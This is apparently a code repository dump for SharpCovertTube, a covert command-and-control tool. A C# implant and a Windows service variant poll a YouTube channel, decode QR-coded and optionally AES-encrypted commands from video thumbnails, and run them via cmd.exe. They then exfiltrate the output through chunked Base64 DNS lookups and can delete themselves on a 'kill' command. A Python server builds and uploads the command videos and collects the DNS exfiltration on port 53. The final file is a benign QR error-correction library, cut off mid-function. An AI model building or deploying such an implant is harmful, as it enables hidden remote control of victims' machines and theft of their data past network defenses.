29 | LogShow("Splitting encoded response in chunks of "+ max_size + " characters");
30 | }
31 | var parts = SplitInParts(base64_response_cmd, max_size);
32 | foreach (var response_portion in parts)
33 | {
34 | // DNS lookup
35 | try
36 | {
37 | string exfil_hostname = response_portion + dns_hostname;
38 | exfil_hostname = exfil_hostname.Replace("=", "");
39 | LogShow("DNS lookup against:\t\t\t" + exfil_hostname);
40 | Dns.GetHostAddresses(exfil_hostname);
41 | }
42 | catch (Exception e)
43 | {
44 | if (e.GetType().ToString() != "System.Net.Sockets.SocketException")
45 | {
46 | LogShow("[-] Exception: " + e.ToString());
47 | }
48 | }
49 | }
50 | }
51 |
52 |
53 | // Get cleartext QR-decoded value and delete binary and stop the process (option "kill") or execute the command
54 | static string ExecuteCommand(string command)
55 | {
56 | if (command == "kill")
57 | {
58 | DeleteAndKill();
59 | return "";
60 | }
61 | else
62 | {
63 | string output = OrdinaryCmd(command);
64 | return output;
65 | }
66 | }
67 |
68 |
69 | // Check if value is AES-decryptable and decrypt if it is
70 | static string TryDecrypt(string payload)
71 | {
72 | try {
73 | string base64_decoded = Base64Decode(payload);
74 | string decrypted_cmd = DecryptStringFromBytes(base64_decoded, Encoding.ASCII.GetBytes(payload_aes_key), Encoding.ASCII.GetBytes(payload_aes_iv));
75 | LogShow("Payload was AES-encrypted");
76 | return decrypted_cmd;
77 | }
78 | catch {
79 | LogShow("Payload was not AES-encrypted");
80 | return payload;
81 | }
82 | }
83 |
84 |
85 | // Receive a QR image as Bitmap, read the value and return it as string. Source: https://github.com/Stefangansevles/QR-Capture
86 | static string DecodeQR(Bitmap QRCodeInputImage)
87 | {
88 | QRDecoder decoder = new QRDecoder();
89 | byte[][] DataByteArray = decoder.ImageDecoder(QRCodeInputImage);
90 | if (DataByteArray == null)
91 | {
92 | Console.WriteLine("DataByteArray is null");
93 | return "";
94 | }
95 | string code = ByteArrayToStr(DataByteArray[0]);
96 | return code;
97 | }
98 |
99 |
100 | // Read the QR image as Bitmap from the Youtube thumbnail URL and return the value as string
101 | static string ReadQR(string thumbnail_url)
102 | {
103 | var client = new WebClient();
104 | var stream = client.OpenRead(thumbnail_url);
105 | if (stream == null) return "";
106 | Bitmap bitmap_from_image = new Bitmap(stream);
107 | string decoded_cmd = DecodeQR(bitmap_from_image);
108 | return decoded_cmd;
109 | }
110 |
111 |
112 | // Get the video's thumbnail url, read the QR code value in it, decrypt it and execute the command. If enabled, exfiltrate the response using DNS
113 | static void ReadVideo(string video_id, string channel_url)
114 | {
115 | LogShow("Reading new video with ID: \t\t" + video_id);
116 | string thumbnail_url = "https://i.ytimg.com/vi/" + video_id + "/hqdefault.jpg";
117 |
118 | // Read QR
119 | string qr_decoded_cmd = ReadQR(thumbnail_url);
120 | LogShow("Value decoded from QR:\t\t" + qr_decoded_cmd);
121 |
122 | // Decrypt in case it is AES-encrypted
123 | string decrypted_cmd = TryDecrypt(qr_decoded_cmd);
124 | LogShow("Value after trying to AES-decrypt:\t" + decrypted_cmd);
125 |
126 | // Execute command
127 | string response_cmd = ExecuteCommand(decrypted_cmd);
128 | response_cmd.Trim();
129 | LogShow("Response from command:\t\t" + response_cmd);
130 |
131 | // Exfiltrate
132 | if (dns_exfiltration) {
133 | DNSExfil(response_cmd);
134 | }
135 | }
136 |
137 |
138 | // Request the information about the channel URL from the API, parse to JSON using APIInfo.cs and return a List with the videos IDs
139 | static List GetVideoIds(string channel_url)
140 | {
141 | List VideoIds = new List();
142 | string json_response_str = getRequest(channel_url);
143 |
144 | var deserialized = JSONSerializer.DeSerialize(json_response_str);
145 | foreach (Item item in deserialized.items)
146 | {
147 | VideoIds.Add(item.id.videoId);
148 | }
149 |
150 | return VideoIds;
151 | }
152 |
153 |
154 | // Get initial videos ids, sleep a specific amount of time and check if there are new videos, if so call ReadVideo for each of them
155 | static void MonitorChannel(string channel_url, int seconds_delay) {
156 | // Initial videos
157 | List Initial_VideoIds = GetVideoIds(channel_url);
158 | int number_of_videos = Initial_VideoIds.Count;
159 | foreach (string value in Initial_VideoIds)
160 | {
161 | LogShow("Video already uploaded with ID " + value);
162 | }
163 |
164 | while (true)
165 | {
166 | // Sleep
167 | LogShow("Sleeping "+ seconds_delay + " seconds");
168 | System.Threading.Thread.Sleep(1000 * seconds_delay);
169 |
170 | // Get list of videos
171 | List VideoIds = GetVideoIds(channel_url);
172 | var firstNotSecond = VideoIds.Except(Initial_VideoIds);
173 | // If new videos -> Read
174 | if (firstNotSecond != null && firstNotSecond.Any()) {
175 | LogShow("New video(s) uploaded!");
176 |
177 | foreach (var video_id in firstNotSecond)
178 | {
179 | ReadVideo(video_id, channel_url);
180 | }
181 |
182 | number_of_videos = VideoIds.Count;
183 | Initial_VideoIds = VideoIds;
184 | }
185 | // No new videos
186 | else
187 | {
188 | LogShow("No new videos... Total number of uploaded videos: \t" + VideoIds.Count);
189 | }
190 | }
191 | }
192 |
193 |
194 | // If enabled, write message to console ("debug_console" parameter) or file ("log_to_file" parameter)
195 | public static void LogShow(string msg)
196 | {
197 | msg = "[" + DateTime.Now.ToString("HH:mm:ss").ToString() + "] " + msg;
198 | if (debug_console)
199 | {
200 | Console.WriteLine(msg);
201 | }
202 | if (log_to_file)
203 | {
204 | using (System.IO.StreamWriter writer = System.IO.File.AppendText(log_file))
205 | {
206 | writer.WriteLine(msg);
207 | }
208 | }
209 | }
210 |
211 |
212 | // Loop to wait 1 minute if there is not internet connection
213 | public static void WaitForInternetConnection()
214 | {
215 | while (InternetGetConnectedState(out _, 0) == false)
216 | {
217 | System.Threading.Thread.Sleep(1000 * 60);
218 | }
219 | }
220 |
221 |
222 | static void Main(string[] args)
223 | {
224 | if (channel_id == "" || api_key == "") {
225 | LogShow("Fill the channel_id and api_key values in Configuration.cs file before running the program.");
226 | System.Environment.Exit(0);
227 | }
228 | WaitForInternetConnection();
229 | LogShow("Monitoring Youtube channel with id " + channel_id);
230 | string channel_url = "https://www.googleapis.com/youtube/v3/search?" + "part=snippet&channelId=" + channel_id + "&maxResults=100&order=date&type=video&key=" + api_key;
231 | MonitorChannel(channel_url, seconds_delay);
232 | }
233 | }
234 | }
--------------------------------------------------------------------------------
/SharpCovertTube_Service/SharpCovertTube.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Drawing;
7 | using System.Diagnostics;
8 | using System.Collections.Generic;
9 | using SharpCovertTube_Service.QRCodeDecoder;
10 | using static SharpCovertTube_Service.Configuration;
11 | using static SharpCovertTube_Service.HelperFunctions;
12 |
13 |
14 | namespace SharpCovertTube_Service
15 | {
16 | internal class SharpCovertTube
17 | {
18 | // Exfiltrate data via DNS
19 | static void DNSExfil(string response_cmd)
20 | {
21 | // Base64-encode the response
22 | if (response_cmd == "")
23 | {
24 | response_cmd = "null";
25 | }
26 | string base64_response_cmd = Base64Encode(response_cmd);
27 | LogShow("Base64-encoded response:\t\t" + base64_response_cmd);
28 | int max_size = 100; // 255 - dns_hostname.Length - 1;
29 | if (base64_response_cmd.Length > max_size)
30 | {
31 | LogShow("Splitting encoded response in chunks of " + max_size + " characters");
32 | }
33 | var parts = SplitInParts(base64_response_cmd, max_size);
34 | foreach (var response_portion in parts)
35 | {
36 | // DNS lookup
37 | try
38 | {
39 | string exfil_hostname = response_portion + dns_hostname;
40 | exfil_hostname = exfil_hostname.Replace("=", "");
41 | LogShow("DNS lookup against:\t\t\t" + exfil_hostname);
42 | Dns.GetHostAddresses(exfil_hostname);
43 | }
44 | catch (Exception e)
45 | {
46 | if (e.GetType().ToString() != "System.Net.Sockets.SocketException")
47 | {
48 | LogShow("[-] Exception: " + e.ToString());
49 | }
50 | }
51 | }
52 | }
53 |
54 |
55 | // Execute command
56 | public static string OrdinaryCmd(string command)
57 | {
58 | string output = "";
59 | using (Process process = new Process())
60 | {
61 | process.StartInfo.FileName = "cmd.exe";
62 | process.StartInfo.Arguments = "/c " + command;
63 | process.StartInfo.UseShellExecute = false;
64 | process.StartInfo.RedirectStandardOutput = true;
65 | process.Start();
66 | StreamReader reader2 = process.StandardOutput;
67 | output = reader2.ReadToEnd();
68 | process.WaitForExit();
69 | }
70 | return output;
71 | }
72 |
73 |
74 | // Get cleartext QR-decoded value and delete binary and stop the process (option "kill") or execute the command
75 | static string ExecuteCommand(string command)
76 | {
77 | string output = OrdinaryCmd(command);
78 | return output;
79 | }
80 |
81 |
82 | // Check if value is AES-decryptable and decrypt if it is
83 | static string TryDecrypt(string payload)
84 | {
85 | try
86 | {
87 | string base64_decoded = Base64Decode(payload);
88 | string decrypted_cmd = DecryptStringFromBytes(base64_decoded, Encoding.ASCII.GetBytes(payload_aes_key), Encoding.ASCII.GetBytes(payload_aes_iv));
89 | LogShow("Payload was AES-encrypted");
90 | return decrypted_cmd;
91 | }
92 | catch
93 | {
94 | LogShow("Payload was not AES-encrypted");
95 | return payload;
96 | }
97 | }
98 |
99 |
100 | // Receive a QR image as Bitmap, read the value and return it as string. Source: https://github.com/Stefangansevles/QR-Capture
101 | static string DecodeQR(Bitmap QRCodeInputImage)
102 | {
103 | QRDecoder decoder = new QRDecoder();
104 | byte[][] DataByteArray = decoder.ImageDecoder(QRCodeInputImage);
105 | if (DataByteArray == null)
106 | {
107 | Console.WriteLine("DataByteArray is null");
108 | return "";
109 | }
110 | string code = ByteArrayToStr(DataByteArray[0]);
111 | return code;
112 | }
113 |
114 |
115 | // Read the QR image as Bitmap from the Youtube thumbnail URL and return the value as string
116 | static string ReadQR(string thumbnail_url)
117 | {
118 | var client = new WebClient();
119 | var stream = client.OpenRead(thumbnail_url);
120 | if (stream == null) return "";
121 | Bitmap bitmap_from_image = new Bitmap(stream);
122 | string decoded_cmd = DecodeQR(bitmap_from_image);
123 | return decoded_cmd;
124 | }
125 |
126 |
127 | // Get the video's thumbnail url, read the QR code value in it, decrypt it and execute the command. If enabled, exfiltrate the response using DNS
128 | static void ReadVideo(string video_id, string channel_url)
129 | {
130 | LogShow("Reading new video with ID: \t\t" + video_id);
131 | string thumbnail_url = "https://i.ytimg.com/vi/" + video_id + "/hqdefault.jpg";
132 |
133 | // Read QR
134 | string qr_decoded_cmd = ReadQR(thumbnail_url);
135 | LogShow("Value decoded from QR:\t\t" + qr_decoded_cmd);
136 |
137 | // Decrypt in case it is AES-encrypted
138 | string decrypted_cmd = TryDecrypt(qr_decoded_cmd);
139 | LogShow("Value after trying to AES-decrypt:\t" + decrypted_cmd);
140 |
141 | // Execute command
142 | string response_cmd = ExecuteCommand(decrypted_cmd);
143 | response_cmd.Trim();
144 | LogShow("Response from command:\t\t" + response_cmd);
145 |
146 | // Exfiltrate
147 | if (dns_exfiltration)
148 | {
149 | DNSExfil(response_cmd);
150 | }
151 | }
152 |
153 |
154 | // Request the information about the channel URL from the API, parse to JSON using APIInfo.cs and return a List with the videos IDs
155 | static List GetVideoIds(string channel_url)
156 | {
157 | List VideoIds = new List();
158 | string json_response_str = getRequest(channel_url);
159 |
160 | var deserialized = JSONSerializer.DeSerialize(json_response_str);
161 | foreach (Item item in deserialized.items)
162 | {
163 | VideoIds.Add(item.id.videoId);
164 | }
165 |
166 | return VideoIds;
167 | }
168 |
169 |
170 | // Get initial videos ids, sleep a specific amount of time and check if there are new videos, if so call ReadVideo for each of them
171 | static void MonitorChannel(string channel_url, int seconds_delay)
172 | {
173 | // Initial videos
174 | List Initial_VideoIds = GetVideoIds(channel_url);
175 | int number_of_videos = Initial_VideoIds.Count;
176 | foreach (string value in Initial_VideoIds)
177 | {
178 | LogShow("Video already uploaded with ID " + value);
179 | }
180 |
181 | while (true)
182 | {
183 | // Sleep
184 | LogShow("Sleeping " + seconds_delay + " seconds");
185 | System.Threading.Thread.Sleep(1000 * seconds_delay);
186 |
187 | // Get list of videos
188 | List VideoIds = GetVideoIds(channel_url);
189 | var firstNotSecond = VideoIds.Except(Initial_VideoIds);
190 | // If new videos -> Read
191 | if (firstNotSecond != null && firstNotSecond.Any())
192 | {
193 | LogShow("New video(s) uploaded!");
194 |
195 | foreach (var video_id in firstNotSecond)
196 | {
197 | ReadVideo(video_id, channel_url);
198 | }
199 |
200 | number_of_videos = VideoIds.Count;
201 | Initial_VideoIds = VideoIds;
202 | }
203 | // No new videos
204 | else
205 | {
206 | LogShow("No new videos... Total number of uploaded videos: \t" + VideoIds.Count);
207 | }
208 | }
209 | }
210 |
211 |
212 | // If enabled, write message to console ("debug_console" parameter) or file ("log_to_file" parameter)
213 | public static void LogShow(string msg)
214 | {
215 | msg = "[" + DateTime.Now.ToString("HH:mm:ss").ToString() + "] " + msg;
216 | if (log_to_file)
217 | {
218 | using (System.IO.StreamWriter writer = System.IO.File.AppendText(log_file))
219 | {
220 | writer.WriteLine(msg);
221 | }
222 | }
223 | }
224 |
225 |
226 | public static void Start()
227 | {
228 | if (channel_id == "" || api_key == "")
229 | {
230 | LogShow("Fill the channel_id and api_key values in Configuration.cs file before running the program.");
231 | System.Environment.Exit(0);
232 | }
233 | LogShow("Monitoring Youtube channel with id " + channel_id);
234 | string channel_url = "https://www.googleapis.com/youtube/v3/search?" + "part=snippet&channelId=" + channel_id + "&maxResults=100&order=date&type=video&key=" + api_key;
235 | MonitorChannel(channel_url, seconds_delay);
236 | }
237 | }
238 | }
--------------------------------------------------------------------------------
/c2-server/c2-server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from youtube_upload.client import YoutubeUploader
3 | from Crypto.Cipher import AES
4 | from dnslib import DNSRecord
5 | from glob import glob
6 | import datetime
7 | import base64
8 | import socket
9 | import rebus
10 | import cv2
11 | import sys
12 | import re
13 | import os
14 | import config
15 |
16 |
17 | def aes_decrypt(encrypted_message, aes_key, aes_iv):
18 | rebus_decoded = rebus.b64decode(encrypted_message.encode('utf-8'))
19 | encrypted_message = base64.b64decode(rebus_decoded)
20 | BS = 16
21 | unpad = lambda s: s[:-s[-1]]
22 | aes_key_bytes = str.encode(aes_key)
23 | iv_bytes = str.encode(aes_iv)
24 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes)
25 | raw = cipher.decrypt(encrypted_message)
26 | message = unpad(raw).decode('utf-8')
27 | return message
28 |
29 |
30 | def aes_encrypt(message, aes_key, aes_iv):
31 | message = message.encode()
32 | BS = 16
33 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
34 | raw = pad(message)
35 | aes_key_bytes = str.encode(aes_key)
36 | iv_bytes = str.encode(aes_iv)
37 | cipher = AES.new(aes_key_bytes, AES.MODE_CBC, iv_bytes)
38 | enc = cipher.encrypt(raw)
39 | rebus_encoded = rebus.b64encode(base64.b64encode(enc).decode('utf-8'))
40 | return rebus_encoded.decode("utf-8")
41 |
42 |
43 | def decode_base64(encoded_str):
44 | aes_key = config.aes_key
45 | aes_iv = config.aes_iv
46 | try:
47 | decoded_string = base64.b64decode(encoded_str).decode("utf-8")
48 | try:
49 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv)
50 | return decrypted_str
51 | except:
52 | pass
53 | return decoded_string
54 | except:
55 | pass
56 | try:
57 | decoded_string = base64.b64decode(encoded_str+"=").decode("utf-8")
58 | try:
59 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv)
60 | return decrypted_str
61 | except:
62 | pass
63 | return decoded_string
64 | except:
65 | pass
66 | try:
67 | decoded_string = base64.b64decode(encoded_str+"==").decode("utf-8")
68 | try:
69 | decrypted_str = aes_decrypt(decoded_str, aes_key, aes_iv)
70 | return decrypted_str
71 | except:
72 | pass
73 | return decoded_string
74 | except:
75 | pass
76 | return ""
77 |
78 |
79 | def listener(ns_subdomain, log_file):
80 | print("[+] Monitoring DNS queries for subdomain " + ns_subdomain)
81 | print("[+] Storing queries in " + log_file)
82 |
83 | log_entries = []
84 | subdomain_base64_aux = ""
85 | counter = 0
86 |
87 | while True:
88 | try:
89 | server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
90 | server.bind(('0.0.0.0', 53))
91 | server.settimeout(5)
92 | data, addr = server.recvfrom(4096)
93 | d = DNSRecord.parse(data)
94 | subdomain = str(d.questions[0]._qname).split(ns_subdomain)[0]
95 |
96 | now = datetime.datetime.now()
97 | current_time = now.strftime(f"%H:%M")
98 | log_entry = current_time + " " + subdomain
99 | one_min_ago = now - datetime.timedelta(minutes=1)
100 | one_min_ago_time = one_min_ago.strftime(f"%H:%M")
101 | log_entry_one_min_ago = one_min_ago_time + " " + subdomain
102 |
103 | # Note: I only log DNS queries not repeated in the last minute, if you want more you can uncomment the else statement but queries will be redundant
104 | if log_entry not in log_entries and log_entry_one_min_ago not in log_entries:
105 | if( (counter >= 4) and (subdomain_base64_aux != "") ):
106 | subdomain_base64_aux = ""
107 | counter = 0
108 | # Log entry
109 | subdomain_base64_aux += subdomain
110 | print("[+] Log entry: \t" + log_entry)
111 | log_entries.append(log_entry)
112 | f = open(log_file, "a")
113 | f.write(log_entry + "\n")
114 | f.close()
115 | # Decode subdomain if possible
116 | print("[+] Encoded string:\t" + subdomain_base64_aux)
117 | decoded_str = decode_base64(subdomain_base64_aux)
118 | if decoded_str != "":
119 | print("[+] Result: \n" + decoded_str)
120 |
121 | except socket.timeout:
122 | if subdomain_base64_aux != "":
123 | counter += 1
124 | pass
125 | except KeyboardInterrupt:
126 | server.close()
127 | main_loop()
128 | except Exception as e:
129 | print("Unexpected exception: " + str(e))
130 | break
131 |
132 | server.close()
133 |
134 |
135 | def generate_frames(image_type, command, aes_key, aes_iv):
136 | if image_type == "qr":
137 | import pyqrcode
138 | qrcode = pyqrcode.create(command,version=10)
139 | qrcode.png("image.png",scale=8)
140 | elif image_type == "qr_aes":
141 | import pyqrcode
142 | encrypted_cmd = aes_encrypt(command,aes_key, aes_iv)
143 | print("[+] AES-encrypted value: "+encrypted_cmd)
144 | qrcode = pyqrcode.create(encrypted_cmd,version=10)
145 | qrcode.png("image.png",scale=8)
146 | else:
147 | print("Unknown type")
148 | return 1
149 |
150 |
151 | def create_file(video_file):
152 | img_array = []
153 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split(r'(\d+)', s)]
154 | for filename in sorted(glob('*.png'), key=natsort):
155 | img = cv2.imread(filename)
156 | height, width, layers = img.shape
157 | size = (width,height)
158 | img_array.append(img)
159 | img_array.append(img)
160 | img_array.append(img)
161 | img_array.append(img)
162 | fps = 1
163 | out = cv2.VideoWriter(video_file,cv2.VideoWriter_fourcc(*'DIVX'), fps, size)
164 | for i in range(len(img_array)):
165 | out.write(img_array[i])
166 | out.release()
167 |
168 |
169 | def generate_video(image_type, video_file, aes_key, aes_iv, command):
170 | generate_frames(image_type, command, aes_key, aes_iv)
171 | if not video_file.endswith(".avi"):
172 | video_file += ".avi"
173 | print("[+] Creating file in the path "+video_file+"\n")
174 | create_file(video_file)
175 | os.remove("image.png")
176 |
177 |
178 | def upload_video(video_name):
179 | client_id = config.client_id
180 | client_secret = config.client_secret
181 | access_token_ = config.access_token_
182 | refresh_token_ = config.refresh_token_
183 |
184 | if (client_id == "" or client_secret == "" or access_token_ == "" or refresh_token_ == ""):
185 | print("[-] Some values are missing in config.py file\n")
186 | main_loop()
187 | print("[+] Uploading video...")
188 | uploader = YoutubeUploader(client_id, client_secret)
189 | uploader.authenticate(access_token=access_token_, refresh_token=refresh_token_)
190 | # Video options
191 | options = {
192 | "title" : "Test -" + video_name,
193 | "description" : "SharpCovertTube test",
194 | "tags" : ["sharpcoverttube"],
195 | "categoryId" : "22",
196 | "privacyStatus" : "public",
197 | "kids" : False,
198 | }
199 | uploader.upload(video_name, options)
200 | uploader.close()
201 | os.remove(video_name)
202 | print("[+] Video uploaded\n")
203 |
204 |
205 | def showHelp():
206 | print("Options: \n - \"generate\": \tCreate a QR video \n - \"upload\": \tUpload a video to Youtube \n - \"listen\": \tListen for DNS queries \n - \"all\": \tCreate a QR video + Upload a video to Youtube + Listen for DNS queries\n - \"exit\": \tExit the program \n")
207 |
208 |
209 | def main_loop():
210 | while True:
211 | ns_subdomain = config.ns_subdomain
212 | log_file = config.log_file
213 | option = input("> ")
214 | if option == "generate":
215 | command_ = input("[+] Command: ")
216 | type_ = input("[+] Type (\"qr\" or \"qr_aes\"): ")
217 | if (type_ != "qr" and type_ != "qr_aes"):
218 | print("[-] Type value must be \"qr\" or \"qr_aes\"\n")
219 | main_loop()
220 | aeskey = ""
221 | aesiv = ""
222 | if type_ == "qr_aes":
223 | aeskey = input("[+] AES key (example: \"0000000000000000\"): ")
224 | if(len(aeskey) % 16 != 0):
225 | print("[-] AES key length must be multiple of 16.")
226 | main_loop()
227 | aesiv = input("[+] AES IV (example: \"0000000000000000\"): ")
228 | if(len(aesiv) % 16 != 0):
229 | print("[-] IV length must be multiple of 16.")
230 | main_loop()
231 | file_ = input("[+] Video file name: ")
232 | generate_video(type_, file_, aeskey, aesiv, command_)
233 | elif option == "upload":
234 | file_ = input("[+] Video file name: ")
235 | upload_video(file_)
236 | elif option == "listen":
237 | listener(ns_subdomain, log_file)
238 | elif option == "all":
239 | command_ = input("[+] Command: ")
240 | type_ = input("[+] Type (\"qr\" or \"qr_aes\"): ")
241 | if (type_ != "qr" and type_ != "qr_aes"):
242 | print("[-] Type value must be \"qr\" or \"qr_aes\"\n")
243 | main_loop()
244 | aeskey = ""
245 | aesiv = ""
246 | if type_ == "qr_aes":
247 | aeskey = input("[+] AES key (example: \"0000000000000000\"): ")
248 | if(len(aeskey) % 16 != 0):
249 | print("[-] AES key length must be multiple of 16.")
250 | main_loop()
251 | aesiv = input("[+] AES IV (example: \"0000000000000000\"): ")
252 | if(len(aesiv) % 16 != 0):
253 | print("[-] IV length must be multiple of 16.")
254 | main_loop()
255 | file_ = "test.avi"
256 | generate_video(type_, file_, aeskey, aesiv, command_)
257 | upload_video(file_)
258 | listener(ns_subdomain, log_file)
259 | elif option == "exit":
260 | sys.exit(0)
261 | else:
262 | print("")
263 | showHelp()
264 |
265 |
266 | def showBanner():
267 | print(" ___ _ ___ _ _____ _ ")
268 | print(" / __|| |_ __ _ _ _ _ __ / __| ___ __ __ ___ _ _ | |_|_ _|_ _ | |__ ___ ")
269 | print(" \\__ \\| ' \\ / _` || '_|| '_ \\| (__ / _ \\\\ V // -_)| '_|| _| | | | || || '_ \\/ -_)")
270 | print(" |___/|_||_|\\__,_||_| | .__/ \\___|\\___/ \\_/ \\___||_| \\__| |_| \\_,_||_.__/\\___|")
271 | print(" |_| by @ricardojoserf ")
272 | showHelp()
273 |
274 |
275 | def main():
276 | if config.show_banner:
277 | showBanner()
278 | main_loop()
279 |
280 |
281 | if __name__== "__main__":
282 | main()
283 |
--------------------------------------------------------------------------------
/SharpCovertTube/QRCodeDecoder/ReedSolomon.cs:
--------------------------------------------------------------------------------
1 | /////////////////////////////////////////////////////////////////////
2 | //
3 | // QR Code Library
4 | //
5 | // QR Code error correction calculations.
6 | //
7 | // Author: Uzi Granot
8 | // Original Version: 1.0
9 | // Date: June 30, 2018
10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved
11 | // For full version history please look at QRDecoder.cs
12 | //
13 | // QR Code Library C# class library and the attached test/demo
14 | // applications are free software.
15 | // Software developed by this author is licensed under CPOL 1.02.
16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser
17 | // General Public License v3.0.
18 | //
19 | // The solution is made of 3 projects:
20 | // 1. QRCodeDecoderLibrary: QR code decoding.
21 | // 3. QRCodeDecoderDemo: Decode QR code image files.
22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera.
23 | // This demo program is using some of the source modules of
24 | // Camera_Net project published at CodeProject.com:
25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library
26 | // and at GitHub: https://github.com/free5lot/Camera_Net.
27 | // This project is based on DirectShowLib.
28 | // http://sourceforge.net/projects/directshownet/
29 | // This project includes a modified subset of the source modules.
30 | //
31 | // The main points of CPOL 1.02 subject to the terms of the License are:
32 | //
33 | // Source Code and Executable Files can be used in commercial applications;
34 | // Source Code and Executable Files can be redistributed; and
35 | // Source Code can be modified to create derivative works.
36 | // No claim of suitability, guarantee, or any warranty whatsoever is
37 | // provided. The software is provided "as-is".
38 | // The Article accompanying the Work may not be distributed or republished
39 | // without the Author's consent
40 | //
41 | // For version history please refer to QRDecoder.cs
42 | /////////////////////////////////////////////////////////////////////
43 |
44 | using System;
45 |
46 | namespace SharpCovertTube.QRCodeDecoder
47 | {
48 | internal class ReedSolomon
49 | {
50 | internal static int INCORRECTABLE_ERROR = -1;
51 |
52 | internal static int CorrectData
53 | (
54 | byte[] ReceivedData, // recived data buffer with data and error correction code
55 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data)
56 | int ErrCorrCodewords // numer of error correction codewords
57 | )
58 | {
59 | // calculate syndrome vector
60 | int[] Syndrome = CalculateSyndrome(ReceivedData, DataLength, ErrCorrCodewords);
61 |
62 | // received data has no error
63 | // note: this should not happen because we call this method only if error was detected
64 | if (Syndrome == null) return 0;
65 |
66 | // Modified Berlekamp-Massey
67 | // calculate sigma and omega
68 | int[] Sigma = new int[ErrCorrCodewords / 2 + 2];
69 | int[] Omega = new int[ErrCorrCodewords / 2 + 1];
70 | int ErrorCount = CalculateSigmaMBM(Sigma, Omega, Syndrome, ErrCorrCodewords);
71 |
72 | // data cannot be corrected
73 | if (ErrorCount <= 0) return INCORRECTABLE_ERROR;
74 |
75 | // look for error position using Chien search
76 | int[] ErrorPosition = new int[ErrorCount];
77 | if (!ChienSearch(ErrorPosition, DataLength, ErrorCount, Sigma)) return INCORRECTABLE_ERROR;
78 |
79 | // correct data array based on position array
80 | ApplyCorrection(ReceivedData, DataLength, ErrorCount, ErrorPosition, Sigma, Omega);
81 |
82 | // return error count before it was corrected
83 | return ErrorCount;
84 | }
85 |
86 | // Syndrome vector calculation
87 | // S0 = R0 + R1 + R2 + .... + Rn
88 | // S1 = R0 + R1 * A**1 + R2 * A**2 + .... + Rn * A**n
89 | // S2 = R0 + R1 * A**2 + R2 * A**4 + .... + Rn * A**2n
90 | // ....
91 | // Sm = R0 + R1 * A**m + R2 * A**2m + .... + Rn * A**mn
92 |
93 | internal static int[] CalculateSyndrome
94 | (
95 | byte[] ReceivedData, // recived data buffer with data and error correction code
96 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data)
97 | int ErrCorrCodewords // numer of error correction codewords
98 | )
99 | {
100 | // allocate syndrome vector
101 | int[] Syndrome = new int[ErrCorrCodewords];
102 |
103 | // reset error indicator
104 | bool Error = false;
105 |
106 | // syndrome[zero] special case
107 | // Total = Data[0] + Data[1] + ... Data[n]
108 | int Total = ReceivedData[0];
109 | for (int SumIndex = 1; SumIndex < DataLength; SumIndex++) Total = ReceivedData[SumIndex] ^ Total;
110 | Syndrome[0] = Total;
111 | if (Total != 0) Error = true;
112 |
113 | // all other synsromes
114 | for (int Index = 1; Index < ErrCorrCodewords; Index++)
115 | {
116 | // Total = Data[0] + Data[1] * Alpha + Data[2] * Alpha ** 2 + ... Data[n] * Alpha ** n
117 | Total = ReceivedData[0];
118 | for (int IndexT = 1; IndexT < DataLength; IndexT++) Total = ReceivedData[IndexT] ^ MultiplyIntByExp(Total, Index);
119 | Syndrome[Index] = Total;
120 | if (Total != 0) Error = true;
121 | }
122 |
123 | // if there is an error return syndrome vector otherwise return null
124 | return Error ? Syndrome : null;
125 | }
126 |
127 | // Modified Berlekamp-Massey
128 | internal static int CalculateSigmaMBM
129 | (
130 | int[] Sigma,
131 | int[] Omega,
132 | int[] Syndrome,
133 | int ErrCorrCodewords
134 | )
135 | {
136 | int[] PolyC = new int[ErrCorrCodewords];
137 | int[] PolyB = new int[ErrCorrCodewords];
138 | PolyC[1] = 1;
139 | PolyB[0] = 1;
140 | int ErrorControl = 1;
141 | int ErrorCount = 0; // L
142 | int m = -1;
143 |
144 | for (int ErrCorrIndex = 0; ErrCorrIndex < ErrCorrCodewords; ErrCorrIndex++)
145 | {
146 | // Calculate the discrepancy
147 | int Dis = Syndrome[ErrCorrIndex];
148 | for (int i = 1; i <= ErrorCount; i++) Dis ^= Multiply(PolyB[i], Syndrome[ErrCorrIndex - i]);
149 |
150 | if (Dis != 0)
151 | {
152 | int DisExp = StaticTables.IntToExp[Dis];
153 | int[] WorkPolyB = new int[ErrCorrCodewords];
154 | for (int Index = 0; Index <= ErrCorrIndex; Index++) WorkPolyB[Index] = PolyB[Index] ^ MultiplyIntByExp(PolyC[Index], DisExp);
155 | int js = ErrCorrIndex - m;
156 | if (js > ErrorCount)
157 | {
158 | m = ErrCorrIndex - ErrorCount;
159 | ErrorCount = js;
160 | if (ErrorCount > ErrCorrCodewords / 2) return INCORRECTABLE_ERROR;
161 | for (int Index = 0; Index <= ErrorControl; Index++) PolyC[Index] = DivideIntByExp(PolyB[Index], DisExp);
162 | ErrorControl = ErrorCount;
163 | }
164 | PolyB = WorkPolyB;
165 | }
166 |
167 | // shift polynomial right one
168 | Array.Copy(PolyC, 0, PolyC, 1, Math.Min(PolyC.Length - 1, ErrorControl));
169 | PolyC[0] = 0;
170 | ErrorControl++;
171 | }
172 |
173 | PolynomialMultiply(Omega, PolyB, Syndrome);
174 | Array.Copy(PolyB, 0, Sigma, 0, Math.Min(PolyB.Length, Sigma.Length));
175 | return ErrorCount;
176 | }
177 |
178 | // Chien search is a fast algorithm for determining roots of polynomials defined over a finite field.
179 | // The most typical use of the Chien search is in finding the roots of error-locator polynomials
180 | // encountered in decoding Reed-Solomon codes and BCH codes.
181 | private static bool ChienSearch
182 | (
183 | int[] ErrorPosition,
184 | int DataLength,
185 | int ErrorCount,
186 | int[] Sigma
187 | )
188 | {
189 | // last error
190 | int LastPosition = Sigma[1];
191 |
192 | // one error
193 | if (ErrorCount == 1)
